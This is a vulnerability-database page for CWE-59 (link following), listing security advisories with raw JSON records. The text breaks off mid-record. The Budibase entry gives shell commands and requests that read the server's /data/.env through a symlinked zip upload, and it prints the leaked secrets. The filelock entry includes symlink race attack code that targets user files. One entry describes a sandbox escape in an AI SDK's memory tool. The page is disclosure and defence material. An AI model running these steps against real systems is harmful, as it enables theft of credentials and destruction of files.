Common Weakness Enumeration

CWE-59

Allowed

Improper Link Resolution Before File Access ('Link Following')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

1984 vulnerabilities reference this CWE, most recent first.

GHSA-W728-JX3Q-VWR2

Vulnerability from github – Published: 2023-06-23 12:30 – Updated: 2024-04-04 05:06
VLAI
Details

Dell Command | Update, Dell Update, and Alienware Update versions 4.8.0 and prior contain an Insecure Operation on Windows Junction / Mount Point vulnerability. A local malicious user could potentially exploit this vulnerability leading to privilege escalation.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-28065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1386",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-23T12:15:09Z",
    "severity": "HIGH"
  },
  "details": "\nDell Command | Update, Dell Update, and Alienware Update versions 4.8.0 and prior contain an Insecure Operation on Windows Junction / Mount Point vulnerability. A local malicious user could potentially exploit this vulnerability leading to privilege escalation.\n\n",
  "id": "GHSA-w728-jx3q-vwr2",
  "modified": "2024-04-04T05:06:31Z",
  "published": "2023-06-23T12:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28065"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000212574/dsa-2023-146"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W72P-3XQ5-RG76

Vulnerability from github – Published: 2022-05-01 23:28 – Updated: 2022-05-01 23:28
VLAI
Details

Linux kernel 2.6, when using vservers, allows local users to access resources of other vservers via a symlink attack in /proc.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-0163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-02-12T21:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Linux kernel 2.6, when using vservers, allows local users to access resources of other vservers via a symlink attack in /proc.",
  "id": "GHSA-w72p-3xq5-rg76",
  "modified": "2022-05-01T23:28:05Z",
  "published": "2022-05-01T23:28:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0163"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40486"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28875"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2008/dsa-1494"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27704"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27798"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W7J6-M5PM-5F26

Vulnerability from github – Published: 2023-03-10 18:30 – Updated: 2023-03-15 18:30
VLAI
Details

NETGEAR Nighthawk WiFi6 Router prior to V1.0.10.94 contains a file sharing mechanism that allows users with access to this feature to access arbitrary files on the device.

Severity
6.8 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-27850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-10T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "NETGEAR Nighthawk WiFi6 Router prior to V1.0.10.94 contains a file sharing mechanism that allows users with access to this feature to access arbitrary files on the device.",
  "id": "GHSA-w7j6-m5pm-5f26",
  "modified": "2023-03-15T18:30:23Z",
  "published": "2023-03-10T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27850"
    },
    {
      "type": "WEB",
      "url": "https://tenable.com/security/research/tra-2023-9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W7MQ-R738-X278

Vulnerability from github – Published: 2026-06-22 23:33 – Updated: 2026-06-22 23:33
VLAI
Summary
Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload
Details

Summary

POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with extract-zip@2.0.1 into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.

extract-zip@2.0.1 preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.

packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.

Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWT_SECRET, INTERNAL_API_KEY, MINIO_*, REDIS_PASSWORD, COUCHDB_PASSWORD, DATABASE_URL) by uploading one crafted PWA zip.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.

Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.

Root cause

packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.

packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries.

packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.

packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).

hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and <CSRF> token come from GET /api/global/self.

  1. Builder uploads a zip containing one symlink entry that targets /data/.env, plus an icons.json that references the symlink.
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png

curl -s "http://localhost:10000/api/pwa/process-zip" \
  -b cookies.txt \
  -H "x-budibase-app-id: <appId>" \
  -H "x-csrf-token: <CSRF>" \
  -F "file=@attack.zip"

{"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}
  1. Builder fetches the resulting "icon".
GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>

COUCHDB_USER=admin
COUCHDB_PASSWORD=admin
MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def
MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778
INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c
JWT_SECRET=c5441dc903f845bdb93a98b949a612b2
REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c
DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm

Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.

Impact

  • Disclosure of /data/.env: JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL.
  • HS256 JWT forge with the leaked JWT_SECRET against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.
  • Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.
  • Disclosure of /etc/passwd and /etc/shadow via the same primitive when the container runs as root (the shipped default).

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de).

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T23:33:35Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `extract-zip@2.0.1` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`.\n\n`extract-zip@2.0.1` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `baseDir` (`path.resolve`), checks `resolvedSrc.startsWith(baseDir + path.sep)` against that string, and calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at `baseDir/evil.png` but pointing at `/data/.env` passes the gate.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302` then calls `(await fsp.open(path)).createReadStream()` on the resolved path. `fsp.open` follows the symlink, the target file\u0027s bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.\n\nResult: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including `/data/.env` with `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `DATABASE_URL`) by uploading one crafted PWA zip.\n\n## Affected\n\n`Budibase/budibase` server, `@budibase/server` package, `\u003c= 3.39.0` (HEAD `feab995`, released 2026-05-20).\n\nReachable in stock self-hosted deployments. The default `budibase/budibase:latest` Docker image runs the Node server as `root` inside the container; the server process opens `/etc/passwd`, `/etc/shadow`, `/data/.env`, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.\n\nNot affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.\n\n## Root cause\n\n`packages/server/src/api/routes/static.ts:24`: `.post(\"/api/pwa/process-zip\", authorized(BUILDER), controller.processPWAZip)` exposes the endpoint to any workspace builder; the only permission required is `BUILDER`.\n\n`packages/server/src/api/controllers/static/index.ts:235`: `await extract(filePath, { dir: tempDir })` calls `extract-zip@2.0.1`, which preserves absolute symlink targets when restoring symlink entries.\n\n`packages/server/src/api/controllers/static/index.ts:259-268`: the icon validator (`path.resolve` + `resolvedSrc.startsWith(baseDir + path.sep)` + `fs.existsSync`) operates on the resolved string path and on `fs.existsSync` (which follows symbolic links). A symlink stored under `baseDir` whose target points anywhere reachable by the server passes the gate as long as the target exists.\n\n`packages/backend-core/src/objectStore/objectStore.ts:302`: `(await fsp.open(path)).createReadStream()` follows the symlink and streams the target file\u0027s bytes; the object lands in MinIO under `{appId}/pwa/{uuid}{extension}` and is served by `GET /api/assets/{appId}/pwa/{uuid}.{ext}` (`packages/server/src/api/routes/static.ts:21`).\n\n`hosting/single/Dockerfile`: the production single-container image runs the Node server as `root`, so the read primitive reaches `/etc/shadow`, `/data/.env`, and every other root-readable path.\n\n## Reproduction\n\n`budibase/budibase:latest` (`v3.39.0`) Docker single-container on `localhost:10000`, default config, with any workspace builder logged in. Cookie jar and `\u003cCSRF\u003e` token come from `GET /api/global/self`.\n\n1. Builder uploads a zip containing one symlink entry that targets `/data/.env`, plus an `icons.json` that references the symlink.\n\n```bash\nmkdir attack \u0026\u0026 cd attack\nln -s /data/.env evil.png\nprintf \u0027{\"name\":\"x\",\"icons\":[{\"src\":\"evil.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}\u0027 \u003e icons.json\nzip -y attack.zip icons.json evil.png\n\ncurl -s \"http://localhost:10000/api/pwa/process-zip\" \\\n  -b cookies.txt \\\n  -H \"x-budibase-app-id: \u003cappId\u003e\" \\\n  -H \"x-csrf-token: \u003cCSRF\u003e\" \\\n  -F \"file=@attack.zip\"\n```\n\n```json\n{\"icons\":[{\"src\":\"\u003cappId\u003e/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png\",\"sizes\":\"192x192\",\"type\":\"image/png\"}]}\n```\n\n2. Builder fetches the resulting \"icon\".\n\n```http\nGET /api/assets/\u003cappId\u003e/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1\nHost: localhost:10000\nCookie: budibase:auth=\u003cJWT\u003e; budibase:auth.sig=\u003cSIG\u003e\n```\n\n```\nCOUCHDB_USER=admin\nCOUCHDB_PASSWORD=admin\nMINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def\nMINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778\nINTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c\nJWT_SECRET=c5441dc903f845bdb93a98b949a612b2\nREDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c\nDATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm\n```\n\nLive-verified: the response body of the asset-fetch endpoint is byte-identical to `docker exec budibase cat /data/.env`; `/etc/passwd` and `/etc/shadow` extract via the same primitive when their permissions allow root reads.\n\n## Impact\n\n- Disclosure of `/data/.env`: `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `LITELLM_MASTER_KEY`, `DATABASE_URL`.\n- HS256 JWT forge with the leaked `JWT_SECRET` against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.\n- Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.\n- Disclosure of `/etc/passwd` and `/etc/shadow` via the same primitive when the container runs as `root` (the shipped default).\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de).",
  "id": "GHSA-w7mq-r738-x278",
  "modified": "2026-06-22T23:33:35Z",
  "published": "2026-06-22T23:33:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-w7mq-r738-x278"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload"
}

GHSA-W828-4QHX-VXX3

Vulnerability from github – Published: 2026-04-01 21:17 – Updated: 2026-04-24 20:59
VLAI
Summary
Claude SDK for Python: Memory Tool Path Validation Race Condition Allows Sandbox Escape
Details

The async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected.

Users on the affected versions are advised to update to the latest version.

Claude SDK for Python thanks hackerone.com/kasthelord for reporting this issue!

Severity
5.3 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
5.8 (Medium)
CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "anthropic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.86.0"
            },
            {
              "fixed": "0.87.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:17:34Z",
    "nvd_published_at": "2026-03-31T22:16:20Z",
    "severity": "MODERATE"
  },
  "details": "The async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected.\n\nUsers on the affected versions are advised to update to the latest version.\n\nClaude SDK for Python thanks [hackerone.com/kasthelord](https://hackerone.com/kasthelord) for reporting this issue!",
  "id": "GHSA-w828-4qhx-vxx3",
  "modified": "2026-04-24T20:59:08Z",
  "published": "2026-04-01T21:17:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anthropics/anthropic-sdk-python/security/advisories/GHSA-w828-4qhx-vxx3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anthropics/anthropic-sdk-python/commit/6599043eee6e86dce16953fcd1fd828052052be6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anthropics/anthropic-sdk-python"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anthropics/anthropic-sdk-python/releases/tag/v0.87.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Claude SDK for Python: Memory Tool Path Validation Race Condition Allows Sandbox Escape"
}

GHSA-W845-647Q-RR58

Vulnerability from github – Published: 2022-05-17 02:18 – Updated: 2022-05-17 02:18
VLAI
Details

The (1) ncsarmt and (2) ncsawrap scripts in xmcd 2.6 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/Mosaic.*pid temporary file.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-4994"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-11-07T19:36:00Z",
    "severity": "MODERATE"
  },
  "details": "The (1) ncsarmt and (2) ncsawrap scripts in xmcd 2.6 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/Mosaic.*pid temporary file.",
  "id": "GHSA-w845-647q-rr58",
  "modified": "2022-05-17T02:18:26Z",
  "published": "2022-05-17T02:18:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4994"
    },
    {
      "type": "WEB",
      "url": "https://bugs.gentoo.org/show_bug.cgi?id=235770"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46550"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/496416"
    },
    {
      "type": "WEB",
      "url": "http://dev.gentoo.org/~rbu/security/debiantemp/xmcd"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2008/10/30/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32288"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W853-JP5J-5J7F

Vulnerability from github – Published: 2025-12-16 20:52 – Updated: 2025-12-16 20:52
VLAI
Summary
filelock has a TOCTOU race condition which allows symlink attacks during lock file creation
Details

Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.

Who is impacted:

All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:

  • virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
  • PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
  • poetry/tox users: through using virtualenv or filelock on their own.

Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.

Patches

Fixed in version 3.20.1.

Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.

Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().

Users should upgrade to filelock 3.20.1 or later immediately.

Workarounds

If immediate upgrade is not possible:

  1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
  2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
  3. Monitor lock file directories for suspicious symlinks before running trusted applications

Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.

Technical Details: How the Exploit Works

The Vulnerable Code Pattern

Unix/Linux/macOS (src/filelock/_unix.py:39-44):

def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate

Windows (src/filelock/_windows.py:19-28):

def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate

The Race Window

The vulnerability exists in the gap between operations:

Unix variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Windows variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Step-by-Step Attack Flow

1. Attacker Setup:

# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target

2. Attacker Creates Race Condition:

import os
import threading


def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")


# Launch attack
threading.Thread(target=attacker_thread).start()

3. Victim Application Runs:

from filelock import UnixFileLock

# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE
# At this point, /home/victim/.ssh/config is now 0 bytes!

4. What Happens Inside os.open():

On Unix systems, when os.open() is called:

// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}

Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.

Why the Attack Succeeds Reliably

Timing Characteristics:

  • Check operation (Path.exists()): ~100-500 nanoseconds
  • Symlink creation (os.symlink()): ~1-10 microseconds
  • Race window: ~1-5 microseconds (very small but exploitable)
  • Thread scheduling quantum: ~1-10 milliseconds

Success factors:

  1. Tight loop: Running attack in a loop hits the race window within 1-3 attempts
  2. CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
  3. No synchronization: No atomic file creation prevents the race
  4. Symlink speed: Creating symlinks is extremely fast (metadata-only operation)

Real-World Attack Scenarios

Scenario 1: virtualenv Exploitation

# Victim runs: python -m venv /tmp/myenv
# Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

# Result: /home/victim/.bashrc overwritten with:
# home = /usr/bin/python3
# include-system-site-packages = false
# version = 3.11.2
# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker

Scenario 2: PyTorch Cache Poisoning

# Victim runs: import torch
# PyTorch checks CPU capabilities, uses filelock on cache
# Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

# Result: Trained ML model checkpoint truncated to 0 bytes
# Impact: Weeks of training lost, ML pipeline DoS

Why Standard Defenses Don't Help

File permissions don't prevent this:

  • Attacker doesn't need write access to victim_file
  • os.open() with O_TRUNC follows symlinks using the victim's permissions
  • The victim process truncates its own file

Directory permissions help but aren't always feasible:

  • Lock files often created in shared /tmp directory (mode 1777)
  • Applications may not control lock file location
  • Many apps use predictable paths in user-writable directories

File locking doesn't prevent this:

  • The truncation happens during the open() call, before any lock is acquired
  • fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks

Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

Simple Direct Attack (filelock_simple_poc.py):

  • Success rate: 33% per attempt (1 in 3 tries)
  • Average attempts to success: 2.1
  • Target file reduced to 0 bytes in \<100ms

virtualenv Attack (weaponized_virtualenv.py):

  • Success rate: ~90% on first attempt (deterministic timing)
  • Information leaked: File paths, Python version, system configuration
  • Data corruption: Complete loss of original file contents

PyTorch Attack (weaponized_pytorch.py):

  • Success rate: 25-40% per attempt
  • Impact: Application crashes, model loading failures
  • Recovery: Requires cache rebuild or model retraining

Discovered and reported by: George Tsigourakos (@tsigouris007)

Severity
6.3 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.20.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T20:52:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly 